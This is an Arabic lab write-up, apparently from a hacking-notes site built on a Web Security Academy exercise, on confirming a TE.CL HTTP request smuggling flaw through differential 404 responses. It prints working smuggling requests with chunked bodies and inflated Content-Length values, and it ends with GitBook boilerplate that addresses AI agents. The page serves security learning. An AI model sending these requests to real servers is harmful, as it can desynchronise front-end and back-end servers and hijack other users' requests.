> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md).

# تأكيد ثغرة TE.CL عبر استجابات تفاضلية

### تهريب طلبات HTTP، تأكيد ثغرة TE.CL عبر استجابات تفاضلية

الـ **الواجهة الأمامية** يقبل الخادم ترميز الأجزاء، بينما **الواجهة الخلفية** لا يدعمه. / الهدف هو حقن استعلام مُموَّه إلى الخادم الداخلي، ثم إرسال طلب إلى **/** لإحداث استجابة **404 غير موجود**، وبذلك يتم تأكيد عدم التزامن.

على الرغم من أن التطبيق يسمح باستخدام HTTP/2، فإن التقنية القابلة للاستغلال تعتمد حصريًا على **HTTP/1**سلوكيات خاصة، مما يتطلب تغيير البروتوكول يدويًا في Burp Repeater.

#### **مبدأ TE.CL**

لاختبار وجود ثغرة **TE.CL**، يتم التلاعب بالحقول المرتبطة بالطول. / من خلال تحديد **Content-Length أكبر** من الحجم الفعلي للجسم، تُفرض إزاحة يفسرها الخادمان بشكل مختلف. / على سبيل المثال، يمكن التصريح عن جسم مجزأ حجمه الحقيقي 13 بايت على أنه:

```http
Content-Length: 15

3
abc
0


```

هذا كافٍ لإحداث عدم التزامن.

<figure><img src="/files/8a5842db8d76afc57f2bb2ce0301a8d4156b293c" alt=""><figcaption></figcaption></figure>

#### **الترميز السداسي العشري للجزء**

يجب حساب حجم الجزء التالي بالنظام السداسي العشري:

```http
POST /error HTTP/1.1
اختبار: A
```

<figure><img src="/files/13549b9e66a35a3e10a3a0114589d1ffc17c0d1d" alt=""><figcaption></figcaption></figure>

المحاولة الأولى هي إرسال حجم الجزء فقط (4 بايت):

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
اختبار: A
0


```

ومع ذلك، لا يُعامل الخادم هذا الإصدار على أنه طلبان منفصلان، مما يمنع التشغيل الصحيح.

لتحقيق سلوك موثوق، يجب أن يفسر الواجهة الخلفية الطلب المحقون على أنه طلب HTTP صالح. / الحقل **Content-Length** يتم «تضخيمه» أثناء إرسال جزء أكبر:

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

من خلال إرسال هذا الطلب **في مناسبتين**، يحدث عدم التزامن وتعمل الهجمة كما هو متوقع.

<figure><img src="/files/3fb695eb2a0eaec14bbed344bf75dfa32a13a516" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
